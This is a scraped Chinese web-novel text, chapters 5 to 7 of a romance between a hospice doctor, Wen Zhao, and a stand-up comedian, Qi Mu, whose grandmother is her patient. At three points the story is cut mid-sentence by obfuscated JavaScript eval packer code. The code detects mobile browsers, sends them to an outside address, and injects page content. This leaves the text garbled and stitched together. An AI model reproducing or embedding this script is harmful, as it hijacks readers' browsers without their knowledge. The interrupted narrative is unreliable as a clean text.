他木讷地点了点头,转身时肩膀垮得厉害。 走起路来连脚步都变得虚浮。 温昭望着他离去的背影,心头突然一酸。 这样的背影她太熟悉了。那些佝偻着腰来办手续的家属,那些在走廊偷偷抹泪的子女…… 虽然她深爱这份职业,但每次看到家属强忍悲痛的模样,心里还是会跟着揪成一团。 而此时,#祁慕现身临终关怀科#的热搜后面跟着个爆字。 也不知道是哪个狗仔爆的料。 助理的电话一个接一个,手机在口袋里震个不停,但他一个都没接,直接摁了静音键。 VIP房的病床上,外婆安静地睡着。 祁慕坐在床边,目光认真描摹着老人脸上每一道皱纹。病房里静得可怕,外婆在安然熟睡。他好想让外婆醒来,又不忍心打扰这难得的安宁,只能紧紧攥着被角,泪水一滴一滴滴落在白色的床单上,晕出深色痕迹。 - 下午的阳光透过走廊的玻璃窗洒进来,将轮椅的影子拉得很长。祁慕推着外婆慢慢走在长廊上。 “阿慕啊,我们这是要去哪啊?”外婆声音轻轻的,带着病体的虚弱。 祁慕弯下腰,凑近老人耳边:“去个可以帮助您不那么疼的地方。”他声音放得很轻,像是哄小孩似的。 临终关怀科室中午很安静,没什么吵闹,看起来是一个可以好好休息的地方。 空气中消毒水的气味里混着一丝若有若无的花香,窗台上的绿植郁郁葱葱,跟普通病房的冷清截然不同。 护士台前,温昭正低头写着报告和注意事项。 “温医生。” 她闻声抬头。 护士站的几个小护士看到祁慕的脸也都好奇地探出头来。 “都办好了?” “嗯。”祁慕点点头,头发软软地搭在额前,看起来比舞台上柔和许多。 “苏晴,”她转头对旁边的护士说,“带病人去113房间,我待会儿过来。” “好的温医生。”苏晴利落地从护士台绕出来,“请跟我来。”她出温暖的笑容。 等祁慕推着外婆走远,几个小护士立刻凑到温昭身边,眼睛里闪着八卦的光。 “温医生,什么情况啊?”小护士压低声音问道,“那不是前几天还在演出上怼你的祁慕吗?” 她抬头看了眼走廊尽头渐渐消失的身影,轻声道:“就是你们看到的这样。” “这也太玄幻了吧!”另一个护士忍不住插嘴,“上周还在diss临终关怀,今天就亲自把外婆送来?”她歪着头,一脸不可思议,“这脸打的,我都疼!” 望着空荡荡的走廊,她轻轻叹了口气:“再嘴硬的人,看到亲人受苦也会心疼的。” 她的话语很轻,像是在说给护士们听,又像是在说给自己听。 - 忙完手头的工作,温昭轻轻推开了113病房的门。 门内传来祁慕难得温柔的声音,他正坐在病床边,绘声绘色地给外婆讲着段子,哪还有半点舞台上冷面笑匠的模样。 她刚迈进去,病床上的老人突然睁大了眼睛。 “你……”老人颤巍巍地伸出手,“你不是那天帮我的小丫头吗?” 温昭脚步一顿,仔细端详着老人布满皱纹的脸。记忆突然闪回半个多月前的那个雨夜—— 温昭刚值完班,脑袋昏昏沉沉的。换季时节最容易感冒,她裹紧羽绒服,打算顺路去急诊科拿点药。 急诊室门口人声嘈杂,她一眼就注意到站在指示牌下的老太太。老人眯着眼睛,吃力地仰头看着电子屏,手里攥着挂号单,拦住一个又一个匆匆走过的路人询问。可每个人都只是匆匆回答几句就走了,连脚步都不曾停下。 “奶奶,”她走过去,声音因为感冒有些沙哑,“需要帮忙吗?” 老人转过身:“姑娘,我这挂完号该去哪儿啊?” 她接过那张有些发皱的挂号单,仔细着看着上面的挂号信息:“三号诊室,”她自然地搀住老人的胳膊,“我带您过去。” 诊室门口的等候区长椅上,她扶老人坐下:“您在这儿等着就行,广播会叫您名字的。”她顿了顿,“要帮您倒杯热水吗?” 老人颤巍巍地握住她的手:“谢谢你啊,小姑娘。” “没事儿,”温昭笑了笑,感冒让她的声音带着鼻音,“您注意听广播。” …… 原来这个老人是祁慕的外婆。 老人笑着问道:“小姑娘,上次都忘了你叫什么名字呢?” “我叫温昭。”她微微俯身,让老人能看清自己胸前的工牌,“温暖的温,昭昭如愿的昭。” “上次真是多谢你了。你是这家医院的医生啊?” “嗯,”她点点头,轻轻整理着老人的被角。 “我现在也是您的主任医师。”她眉眼弯弯,声音柔得像三月的春风。“外婆,我现在要给您做个小检查,马上就好。” 她轻巧地拿起自动血压计,动作轻柔地为老人卷起衣袖。 “外婆,我们要量血压了哦。” 按下启动键后,血压计发出细微的充气声。她自然地握住老人另一只手:“可能会有点紧,外婆要是难受就捏捏我。” 祁慕站在床尾,目光不自觉地落在温昭身上。 她专注地盯着仪器上面的数字,微微倾身的姿势让马尾辫滑落到身前,随着她的动作轻轻摇晃,细长的睫毛扑闪着,眼神很专注。 “血压132/84,稍微有点高。”她看着显示屏轻声说,手指已经熟练地按下存储键。 血压计发出“滴”的一声提示音,袖带自动松开。 她的动作很轻柔细致,帮老人放下衣袖时,还不忘把褶皱处细细抚平。 …… 做完所有的检查已经下午五点了,她笑着说:“好了,我们检查好了,外婆你好好休息,家属跟我出来一下。” 祁慕跟在她身后。 “病人的情况我大致了解了,后续我们做一个适合她的护理方案。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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雨点噼里啪啦打在伞面上,温昭一边刷手机一边往垃圾站走。屏幕上方突然弹出条快递取件信息,显示要支付3元滞留费。 “啊,还有个快递!”她拍了拍脑门,这才想起休息日忘取的包裹。 这下是真拖不得了。 快递柜前,温昭把伞夹在脖子和肩膀之间,皱着眉头回忆自己到底买了什么。 “滴”的一声扫码后,最大的那格柜门“咔哒”一声弹开。 “这么大?!”她瞪圆了眼睛,把雨伞往地上一靠,踮起脚尖去够。 包裹“咚”地掉进怀里时,差点让她表演了个后空翻。 快递单上打着“扫地机器人”几个字让她恍然大悟。 这下可好,一手要撑伞,一手要拖着这个大家伙,走两步就得停下来歇歇。 雨水顺着伞沿滴在快递箱上,很快就湿了一大片。 “早知道就该把购物车里的手推车一起买了……”她欲哭无泪地抱着箱子往回走。 雨水打湿了她的裤脚,沉甸甸的包裹抱得掌心发红。 “要命了!”她小声抱怨着,把包裹往路边一放,甩了甩酸疼的手腕。发丝被雨水打湿,黏在脸颊边,看起来狼狈极了。 也在这时。 路灯下一道修长的影子笼罩下来,比她足足高出一个头。 “你在干嘛? 5. 第5章 温昭闻声转头。 视线低垂处,看见了一双运动鞋,黑色的,鞋侧面印着一个logo。雨水顺着伞骨滑落,在她脚边溅起细小的水花。 一只骨节分明的手握着纯黑长柄伞,腕间还有一块AppleWatch。 路灯的光透过伞面在他周身镀了层柔和的光晕。肩膀处的大衣被雨水些许打湿,深色布料洇出点点水滴。 她微微把伞往后倾斜。 祁慕那张棱角分明的脸就这样撞进视线。他薄唇微抿,眉宇间凝着惯常的冷意。 “拿、拿快递…” “拿快递?”祁慕挑眉,视线在她和那个湿漉漉的纸箱之间来回扫视,“你确定不是收破烂?” “……” 温昭懒得跟他争辩,伞往脖子底下一夹,弯腰就要去拿那个纸箱。 指尖刚触到箱沿,颈侧突然传来一阵温热触感。没反应过来,头顶的雨幕就被更大的伞面隔绝。 “你干嘛?” “你拿快递,我打伞……” 温昭一脸茫然地眨眨眼。 太阳打西边出来了?这人什么时候这么好心了? 他垂眸,微微俯身,温热的呼吸拂过她被雨水打湿的脸颊:“怎么?还想让我帮你搬?” “没、没有。” 祁慕看着她手忙脚乱的样子,轻嗤一声:“你悠着点,别待会连人带箱一起栽水坑里。” 话虽这么说,伞面却不动声色往她那偏了偏。 温昭偷偷抬眼。 路灯把光揉碎了照在他身上,有些柔和连下颌线那道锋利的弧度都变得有些温柔。 他突然转头,她慌忙移开视线,假装在看路边的水洼。 “你怎么在这儿?” “总不能是特意来追你吧。” “啊?” 他说的很轻,温昭没太听清。 两人不约而同停下脚步。 她仰起脸,男人比她高出大半个头,睫毛上沾着细碎的雨丝,鼻尖沾了雨雾。 如果忽略那张气死人的嘴,倒也称得上赏心悦目。 “刚倒完垃圾,”祁慕漫不经心地解释,“看见某人在那‘收破烂’,过来看个热闹。” “你才收破烂。”她眉头轻皱,声音却软绵绵的听不出任何怒气。 祁慕低笑一声,目光落在她被快递勒红的手臂上。 他睫毛轻颤,还没等温昭反应过来,那个湿漉漉的箱子就到了他手里。 “干嘛?”温昭怀里一空,下意识要去抢。 “就当报答你帮我外婆。”他顿了顿,把伞柄递到了她面前,“伞你拿。” “哦。” 她接过伞,伞柄上还残留着属于他的温度。 雨幕中,两人的影子在地上交叠。 谁都没有再说话,只有雨滴敲打伞面的声音,在夜色里格外清晰。 走进电梯,温昭连打了三个喷嚏,鼻尖都微微泛红。 祁慕瞥了她一眼:“我可没骂你。” “……”温昭揉了揉鼻子,职业病瞬间发作,“打喷嚏是人体清除鼻腔异物的一种自然反射,当鼻黏膜受到刺激时……” 祁慕抬手做了个打住的手势,银发随着动作轻轻晃动,“温医生,我不是你的实习生。” “……” 他再次开口:“记得…照顾好外婆,我这几天要出差。” 温昭头也不抬:“我是医生,照顾病人是本分,不用你特意交代。” “叮——”电梯门缓缓打开。 两人一前一后走出来,脚步声在走廊里格外清晰。 祁慕掂了掂手里沉甸甸的箱子:“放哪儿?” “门口就行。”温昭指了指自家门前的脚垫。 祁慕弯腰放下箱子,雨水顺着快递箱滴落在瓷砖上,晕开一小片水渍。 “今天谢谢。” “别忘了我说的就行,走了。” - 隔天,窗外雨还没停。 温昭正小口咬着早餐面包,门外传来了关门声和行李箱轮子“咕噜咕噜”碾过地面的声音。 她撕着早餐面包,面包屑簌簌落在餐盘上。 不知怎的,又想起了昨天雨幕中的一幕。 ——男人冷峻的面眉眼,嘴角带着些许调侃。 ——还有俯身时那股温热气息和他身上的柑橘调香味。 温昭晃了晃神,拍了拍有些发烫的脸蛋,白皙的脸蛋立刻泛起些许红晕。 “温昭,你想什么呢!”她对着空气小声嘀咕,“你忘了他之前怎么说你的吗?他就帮了你一个小忙,不许想不许想……” 她三两口解决掉剩下的面包,随意挽了个松松垮垮的低马尾,就出门了。 医院里,上午的查房刚结束,温昭就推着餐车快步走向113病房。 毕竟答应别人的事情,还是要做到的。 “外婆。”她笑着推开病房门。 刘婧看到她脸上笑意盛浓:“温医生来啦。” 温昭熟练地支起小桌板,将温热的米粥摆好:“外婆,您叫我昭昭就行。”她舀起一勺米糊,轻轻吹了吹,“今天咱们吃这个好不好?小心烫……” 刘婧笑眯眯地看着眼前这个贴心的小姑娘,越看越欢喜。 典型的江南美人长相,很温婉,柳叶眉,樱桃唇,最招人喜欢的是那双会说话的眼睛,笑起来弯成月牙儿。 “孩子,你今年多大了?” “快26了。” 温昭又舀了一勺,细心地用纸巾擦了擦老人嘴角。 “结婚了吗?” “外婆,”她耳尖微微发红,“我连男朋友都没有呢。” 老人若有所思地点点头,心里的小算盘打得噼啪响。 她家那个不省心的外孙今年27,要是能娶到这么个温柔贤惠的媳妇…… 可转念想到外孙整天冷着张脸满世界飞的工作狂模样,又忍不住叹气。 真要撮合了,岂不是委屈了人家姑娘? 也不知道这榆木疙瘩,什么时候才能开窍啊! …… 午休时分,温昭捧着盒饭刷着短视频。兴许是这几天和祁慕接触太多,大数据居然给她推了条他的最新脱口秀视频。 视频里的男人发型利落,皮衣衬得肩线格外挺拔。他薄唇微勾,吐出的台词依旧犀利毒舌。 但镜头拉近时,出于医护人员的敏锐观察,温昭注意到了他眼下泛着淡淡的青黑,连带着那句玩笑话都像是强打精神说出来的。 没看几秒她便划走了。 刚扒拉两口饭,屏幕上方跳出了“母上大人”的视频邀请。 “喂,妈,你到了?” 视频里的王舒月戴着口罩,背景音里还夹杂着机场广播:“昭昭啊,我刚落地。晚上想吃啥?妈去超市买。” 温昭看了眼窗外渐大的雨势:“别折腾了,外面雨这么大,家里还有菜呢,随便炒两个就行。” “那行,那你先忙。” - 温昭刚推开家门,一阵诱人的饭菜香就扑面而来。她弯腰换拖鞋时,一缕碎发从耳后滑落,发梢还沾着外面带来的雨气。 “妈!” 王舒月从厨房探出半个身子,手上还拿着菜刀,脸上挂着神秘兮兮的笑容:“哎呦回来得正好,快看看谁来啦!” 温昭疑惑地眨眨眼,拖着拖鞋往客厅走去,渐渐显现的是一个修长的身影正坐在沙发上看手机。 听到脚步声,那人转过头来,黑框眼镜后的眉眼弯成温柔的弧度。 温昭惊讶地睁大眼睛:“汀州哥?!” 许汀州是她的发小。 记忆里那个总在放学路上帮她背书包的少年,如今已经长成温润如玉的模样。高中时他总在图书馆陪她刷题,有时她困得直打瞌睡,他就轻轻弹她脑门。 后来他去了国外读大学,而她去往星海,一别就是六年。 男人站起身,白色衬衫和高腰裤勾勒出完美的身形,眉宇间多了几分成熟稳重。 许汀州站起身,温柔地唤了声:“昭昭。” 王舒月端着最后一盘菜从厨房出来,故意用肩膀撞了下发呆的女儿:“快去洗手,别让汀州等久了。”她朝许汀州眨眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286408|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼,“人家特意从滨海赶来的,连行李都没放就来看你了。” “知道啦。” …… “汀州哥,你怎么来星海了呀?” “公司调我来负责星海分部,正好前几天遇见阿姨,说她也要来,我们就约着一起了。” 温昭正要接话,却被他下一句惊得筷子差点脱手:“对了昭昭,你和那个脱口秀演员祁慕是怎么回事?热搜都挂两天。” 温昭的筷子顿了顿,眼神飘忽。 “什么脱口秀演员?”一旁的王舒月疑惑地看向温昭。 王舒月不怎么关注娱乐圈,所以根本不认识祁慕这个人。 这点温昭随母亲,她也不怎么关注这些,如果不是林晚,她或许压根不知道还有祁慕这个人。 许汀州慢条斯理地解释:“就是昭昭前段时间去看演出,结果那个演员当场讽刺临终关怀医护,还点名让昭昭回答问题。” “还有这么缺德的演员?”她一把拉过女儿的手,“闺女,你没受委屈吧?” 温昭轻笑了下,没有说话。 妈,您口中的那个缺德演员就在隔壁住着呢…… 许汀州轻笑出声:“阿姨您不知道,昭昭可厉害了,把那个演员怼得哑口无言,视频都爆了,而且昭昭一下子就涨了20万粉!” “汀州哥,你这次回来待多久啊?”她生硬地转移话题。 “大概……”许汀州拖长音调,“就不走了。怎么,昭昭想让我走啊?” “啊?”她慌忙摇头,“我就随便问问……” 听到这儿话,王舒月眼睛一亮:“诶汀州你交女朋友了吗?” “还没,”许汀州的目光落在温昭身上,“不过我有喜欢的人了。” 饭桌上,温昭正低头扒饭,完全没注意到许汀州说这句话时,镜片后的眼睛一直温柔地望着她。 王舒月将这一切尽收眼底,心里跟明镜似的。 她打心眼里喜欢许汀州这孩子。从小就知道照顾人,品学兼优,现在更是事业有成。以前一个在星海,一个在滨海,天南地北的没办法。 如今两人都在一个城市,要是能成其好事,那真是再好不过了。 - 晚上,王舒月推开房门,王舒月轻轻推开女儿房门,手里端着切好的果盘。 “昭昭,吃点水果。” 她将果盘放在书桌上,顺手理了理女儿散落的发丝。 “谢谢妈。” 王舒月在床边坐下,欲言又止:“昭昭啊……”她斟酌着词句,“你觉得你汀州哥哥怎么样?” “挺好的呀。温柔,知性,事业有成。” “那……”王舒月搓了搓手,“你对他有没有那个意思?” “哪个意思?”温昭装傻,又叉了块苹果。 “啧!”王舒月急得直拍大腿,床垫都跟着颤了颤,“就是你喜不喜欢人家?” 温昭无意识地咀嚼着苹果,记忆闪回小的时候—— 那时候许汀州每天放学都会等她,两人一起回家,一起写作业,偶尔遇到成绩下滑的时候,许汀州还会安慰她,给她补习。 在她心里,许汀州的存在就像是一个没有血缘关系的亲人,或许是太熟悉了,温昭从没动那种心思。 见她没回复,王舒月又问道:“那你跟妈妈说说你喜欢什么样的?” 喜欢什么样的? 这点还真没想过,要说类型脑海里也没个大致轮廓。 这些年她不是泡在医院就是宅在家里,见过的男生最小五六岁,最大九十岁左右,根本没接触几个。 她垂下眼睫没有回答。 王舒月见状,叹了口气,轻轻带上门出去了。她虽然希望有个男生可以照顾自己的女儿,但也不愿意让女儿将就,这种事情,她更看重顺其自然。 房间里重归寂静。 温昭拉开抽屉,指尖触到一个丝绒小袋。她小心翼翼地取出里面的小鱼吊坠,橙黄色的琉璃小鱼在台灯下泛着温暖的光泽,鱼尾处刻着的“7”字已经有些模糊了。 她轻轻摩挲着这条吊坠,嘴角不自觉扬起。 6. 第6章 那年冬天特别冷,温昭刚过完六岁生日。 父亲意外确诊了白血病,原本计划好的寒假旅行取消了,一家三口来到了星海市的松康医院。 医院门口有个小花园,成了小温昭最喜欢的地方。她总爱坐在那个褪了色的秋千上,粉色小皮鞋在雪地里划出一道道弧线。 “昭昭,妈妈去接买下饭,你在这儿乖乖等着啊!”妈妈蹲下身,替她整理好毛茸茸的围巾。 “知道啦,妈妈!” 她晃着小腿,阳光照在昨夜下的新雪上,有些晃眼。 秋千吱呀吱呀地响着,忽然间,一阵细微的抽泣声传入耳中。 温昭停下晃荡,左右张望,在左侧那棵光秃秃的树下,发现了一个蜷缩着的黑色身影。 她跳下秋千,慢悠悠地走过去,脚踩在雪地里发出很好听的声音。 “你哭什么呀?”她蹲下身,奶声奶气地问。白色的小靴子陷进雪里,围巾上的绒毛被风吹得轻轻摆动。 男孩抬起头,眼圈通红,却凶巴巴地回嘴:“要你管!” 温昭从羽绒服口袋里掏出妈妈准备的纸巾,小手高高举着:“擦擦吧。” “不用!”男孩一把拍开她的手。 纸巾飘飘悠悠落在地上,被雪水浸湿了一角。 但她也不恼,温昭从小脾气就很好。 她慢悠悠地捡起脏了的纸巾,一蹦一跳地扔进垃圾桶,又掏出一张新的。婴儿肥的小脸被寒风吹得通红,大眼睛扑闪扑闪,很可爱。 “我都说了不用。”男孩把脸埋进膝盖。 男孩子最好面子了,嘴上说着不要,其实心里是想要的。 ——这是温昭妈妈说的。 于是她直接把纸巾塞进男孩手里:“妈妈说了,哭没什么好丢人的。” “你不懂。” 她一屁股坐在男孩旁边,积雪被压出个小坑:“那你为什么哭?” “我妈妈病了,得了很严重很严重的病……” 温昭眨了眨眼,明白了什么。 爸爸刚确诊的那段时间,她也是这样,但后来慢慢地她就像男孩一样偷偷的在角落哭泣,怕爸爸妈妈担心。 或许他也是吧…… 温昭眨眨眼,小手轻轻摸了摸男孩的头:“我爸爸也生病了,不过,”她笑了下,“我相信他一定会好起来的,我相信你妈妈也是!” 男孩抬起头,圆溜溜的眼睛里还藏着泪花。他的头发被风吹得翘起一撮,鼻涕泡都忘了擦。 “真的?” “嗯!”她重重点头,“我们幼儿园老师说过,新年新气象,什么都会好起来的。过几天就是新年了,到时候我们许个新年愿望,就祝每个生病的人都痊愈!” 男孩转过头,看着她双手合十的可爱模样,怔怔地看着她:“你叫什么名字?” “我叫——” “昭昭!”远处传来妈妈的呼唤。 “我要走啦!”温昭立马站起来,拍了拍沾雪的裤腿,“你要是还想哭,就来找我玩!我每天下午都在这里!” 跑出几步,她又转回头,小手在嘴边围成小喇叭:“一定要相信你妈妈会好起来哦!” 雪花纷纷扬扬落下,男孩望着她远去的背影,握紧了手里的那张纸巾。 …… 后来的几天,每天下午都能在花园里看到两个小小的身影。男孩总是早早地等在秋千旁,温昭一来,两人就能玩到太阳落山。 直到立春那天—— 阳光格外暖和,积雪开始悄悄融化。小花园里,两个小小的身影并排坐在秋千上,四只小脚丫整齐地晃荡着。 “你要走了?” “嗯。”男孩踢了踢脚下的雪水,“我爸爸要带妈妈去国外治疗,我明天就要走了。” 融化的雪水从秋千架上滴落,温昭低下头,柔软的刘海垂下来,遮住了她失落的神情。 男孩从口袋里掏出个亮晶晶的东西:“这个给你。” “小鱼!”温昭眼睛一下子就亮了。 “嗯。”他转过头,“这个是我自己做的,以后不知道还能不能见到你。但你要像小鱼一样,天天开心,每天都会有好运气围着你……” 温昭接过吊坠,小鱼在阳光下透着亮光,橙红色的光斑印在了她的脸上。上面还有个小铃铛,轻轻一晃就会发出很清脆的声响。 “对了你叫什么名字?” “昭昭,朝朝暮暮的朝朝。” 小时候,妈妈经常会跟爸爸说朝朝暮暮这个词,同个读音,温昭以为两个字是一样的。 直到后来才知道,截然不同。 “你呢?” 男孩指了指小鱼吊坠:“上面有写……” 温昭把小鱼举到眼前,眯着眼睛仔细看。 阳光透过橙色的琉璃,在小鱼肚子里映出一个淡淡的“7”字。 她笑出声。 怎么会有人名字是数字啊? 看着男孩渐行渐远的身影。 温昭站在秋千旁,小手高高举起,用力地挥啊挥,铃铛随着她的动作叮叮当当响个不停。 香樟树下,两个小小的雪坑慢慢消失,融化的雪水悄悄渗入泥土,就像从未有人来过一样。 …… 温昭的指尖轻轻摩挲着那条小鱼吊坠,十年岁月在它身上留下了痕迹,表面的釉彩有些氧化,却依然能看清鱼肚子里那个淡淡的“7”字。 “也不知道你现在哪儿……” 小鱼在她掌心微微发烫,仿佛还残留着那年冬天的温度。 “那年冬天许的新年愿望……”她苦笑了一下,“我没实现,你呢?” 父亲终究没能熬过那个冬天。而那个说要带妈妈去国外治病的男孩,也像雪花一样消失在了她的生命里。 她抿了抿唇,小心翼翼地把它放入抽屉里。 合上的瞬间,发出“咔嗒”一声轻响,像是在把那份年少时的美好再次锁住。 - 这些天,温昭除了忙碌病人的事情,就是在剪辑Vlog。她的视频账号运营的越来越好,评论区却总冒出些不和谐的声音,有人质疑她作秀,有人嘲笑她太较真。 她只是默默划过,对于部分无聊的评论,她从不回应。 算算日子,祁慕已经出差五天了。刘奶奶总念叨着外孙,温昭也有些怨怼。 难道工作还没自己的亲人重要?! 昨晚刷视频时,她无意间看到祁慕最新的演出片段。 他穿着粉黑撞色的潮牌外套,在舞台上激情讲述着,可每说完一段话就会偏过头轻咳。 看着视频里他强撑的样子,温昭心里那点怨气不知不觉就消散了。 …… 午休时分,温昭走到休息室,刚换完衣服,苏晴就走了进来。 “昭昭,门口有一个大帅哥,说来找你。” “大帅哥?” “快老实交代!”苏晴挡在门前,“你…是不是偷偷谈恋爱了?” “没——” 她每天接触的不是病人就是同事,哪有机会认识什么帅哥。 要硬说,倒有一个,不过他也不会单独来找她。 苏晴撇撇嘴,一脸“我信你个鬼”的表情。 “你自己出去看看吧。” 她一脸疑惑地推开休息室的门,走廊尽头,隐约可见一个高大的身影。 那人看到温昭出来后,朝她挥了挥手:“昭昭。” 原来是许汀州。 他今天穿着一身淡蓝色卫衣针织外套,内搭的白衬衫领口整整齐齐,尽显温润气质。高挺的鼻梁下,唇色浅淡,挂着笑意,确实是帅哥。 “汀州哥,你怎么来了?” “这不是前几天公司太忙,都没来找你一起去吃饭,怎么样现在有空吗?” 温昭看了眼时间,十一点零五,还有两个多小时的休息时间,她点了点头。 “那走吧。” “嗯。” 温昭走在他身旁,突然想起什么似的回头看了眼。 休息室门口,苏晴正冲她挤眉弄眼,用口型说着“大帅哥”。 还…行吧…… 两人刚走到医院大门口,温昭的脚步就不自觉地顿住了。 一辆黑色保姆车缓缓停稳,车门拉开的瞬间。 祁慕拎着个纸箱从车上跳下来,那身粉黑撞色的舞台装束格外扎眼,脸上还带着未卸的舞台妆,银发上的发胶发着亮光,一看就是刚结束演出就赶回来的。 两人的目光在半空中短暂相接,他眼里尽是疲惫。 许汀州也顺着她的视线望去。 “昭昭,”许汀州拉开了副驾驶的车门,“上车。” 温昭这才反应过来,坐进了车内。 “刚才那个……”许汀州转动方向盘,“是祁慕?” 她系安全带的手指一顿:“……应该是。” 许汀州轻笑一声:“真稀奇,他居然会来这儿?难不成又来这搜集素材……” “可能不是去我们科室。”出于考虑,她没有说祁慕来的目的。 许汀州若有所思地点点头,没再追问。 …… 另一边,祁慕轻轻推开了病房门,刘婧正戴着老花镜看报纸。 “奶奶,我回来了!” 刘婧听到声音放下报纸,看到孙子回来,脸上抑制不住的开心:“阿慕回来啦!” 祁慕放下手里的纸箱,在病床边坐下。舞台妆都遮不住他眼下的青黑。 “外婆这几天…疼得厉害吗?”他声音有些哑。 刘婧拍了拍他的手背:“温医生照顾得可好啦,现在都不怎么疼了。” 听到这儿,他紧绷的神情才肯放松下来。 一路上他都怕外婆担心,昨天晚上演出结束后,赶着凌晨的航班就来了,连妆都还没来得及卸。本想着带着妆可以遮一下黑眼圈,谁知道等下飞机就已经花掉了。 “你这孩子……”刘婧心疼地摸着他消瘦的脸颊,“出差累坏了吧?看看这脸,都瘦了一圈了。” “我没事外婆,工作嘛。” 刘婧突然叹了口气:“阿慕啊,你都27了……”她欲言又止,“外婆就盼着能看到有人疼你、爱你……” “有外婆爱我就够啦!”他故意笑得没心没肺,却不敢让外婆看见自己发红的眼眶。 窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“别推辞了。”许汀州不由分说地把礼盒塞进她怀里,“拿着。” 温昭只好接过。 “那下次我也给你补一个。”她小声嘀咕,“毕竟我也没给你准备……” “好——” “那我先走啦,汀州哥你路上小心。”温昭推开车门,初春的风裹挟着花香扑面而来,很清新。 “昭昭。”许汀州又叫住她。 “嗯?”她回过头,发丝被风吹得轻轻飘动。 许汀州望着她,喉结微微滚动:“……见到你真好。” 温昭怔了怔,阳光太刺眼,她看不清他镜片后的眼神。 这句话来得突然,让她心头泛起一丝异样的涟漪。最终她只是笑了笑,转身走向医院大门,怀里的礼盒沉甸甸的,像极了她此刻的心情。 医院玻璃门自动开启的瞬间,她悄悄回头看了一眼。 许汀州的车还停在原地,窗户没关上,能看到他依然保持着目送她的姿势,和小时候一样。 走到113病房时,她放慢脚步。 透过病房门的小玻璃,她看到祁慕坐在病床上,不知和刘婧讲着什么,老人家笑得很开心,她也被这份开心感染,嘴角微微上扬。 停留片刻后,她才离开。 走到休息室,温昭轻轻解开礼盒上的米白色丝带,里面是一个蝴蝶结手链,做工极为精细,上面的钻石闪着亮光。 不过她不怎么带。作为医生,她几乎从不戴首饰,消毒洗手时会硌到手腕,给病人检查时又怕刮伤他们。 她把它放入盒中,重新系好丝带,放在了储物柜里层,就去工作了。 - 星海的天气就是这样说变就变,明明上午还是晴空万里,等到下班的时候就已经乌云密布了。 温昭走出休息室,就看到玻璃门前那个熟悉的身影。 祁慕戴着黑色口罩,安静地站在玻璃门旁,整个人失去了往日的张扬,头发软软地搭在额前,整个人看起来异常疲惫。 她走到他身旁,声音放轻:“没带伞?” 祁慕缓缓转过头,口罩上方露出的眼睛半阖着,眼尾泛着不自然的红血丝。平日里总是锐利的目光此刻涣散无神,连睫毛都显得无精打采。 医生的敏锐直觉告诉温昭,很奇怪。 “你没事吧?” “没事。”他的声音透过口罩传来,沙哑得几乎听不清。 她看了看外面越来越密的雨幕,又看了看眼前这个摇摇欲坠的人:“要不要我送你?反正我开车了。” 祁慕没有回答,只是微微闭了闭眼。温昭当他默认了,直接把伞塞进他手里:“你拿着,我去开车。” 微凉的指尖触到他皮肤时,温昭不由得皱眉。 ——他的体温烫得吓人。 祁慕怔了怔,最终还是接过了伞。 雨水拍打玻璃的声音中,他低哑的嗓音几乎微不可闻:“……谢谢。” 7. 第7章 温昭将车稳稳停在医院门口的一处停车位上,雨刷器在挡风玻璃上划出规律的弧线。透过模糊的雨幕,她看见祁慕踉踉跄跄地走来,头发被风吹打,贴在额前。 “走吧。” 他关上车门,低头去扣安全带,金属扣在指尖滑了一下,没对准。 下一秒,一只微凉的手突然贴上他的额头。 他呼吸一滞。 微凉的掌心在额头传来强烈的温度差。 温昭凑得极近,眼眸低垂着,细翘的睫毛一眨一眨,还能闻到她头发上那股淡淡的茉莉花香,眼里只有医者的专业,没有其他杂念。 祁慕喉结微动,心跳不受控地加快。 密闭的空间内,雨点敲打车顶的声音像某种暧昧的鼓点,而两人的呼吸声交织在一起,比窗外的雨还要缠绵、缱绻。 “你不会连自己发烧了都不知道吧?”她收回手,眉头微蹙。 祁慕抿唇,没吭声。 “要不要去看看医生?反正走几步就到了。”她的声音里带着职业性的关切。 “不用,感冒而已。”他哑着嗓子回答,声音闷在口罩里。 温昭盯着他看了两秒,目光落在他泛红的耳尖上。她试探性问着:“你确定不去?” “嗯。” 温昭叹了口气,没强求。 路口红灯亮起,她踩下刹车等待。 转过头就看见祁慕侧过头靠在椅子上,双手紧紧环抱着自己,止不住地发抖。 这是发烧加重的症状。 就这还叫感冒、而已? “……死要面子活受罪。” 她小声嘀咕着,方向盘一打,在路口调转了车头。轮胎碾过积水,溅起一片水花。 而某个发烧烧糊涂的家伙,还歪在座椅上昏昏沉沉,对这一切毫无察觉。 …… 车缓缓停在了医院的地下车库里。温昭熄了火,车内瞬间变安静。 她侧过身,伸手轻轻拍了拍祁慕的肩膀:“到了。” 祁慕缓缓睁开眼,视线扫过眼前陌生的环境,和小区的地下车库完全不同。 “这是哪儿?” “医院。” “我都说了不用!”他嗓音沙哑,却仍强硬。 温昭转头,眼神严肃:“我是为你好……” 话音一落,她自己先怔了下。 糟了,这话听着怎么怪怪的? 果然,祁慕眼底闪过一丝错愕,轻轻重复一遍:“为了我?” 她立刻别开视线,迅速改口:“我是说…为了你外婆好,”她继续说着,“你外婆是我的病人。要是把感冒传染给她了,那就是我的失职。” 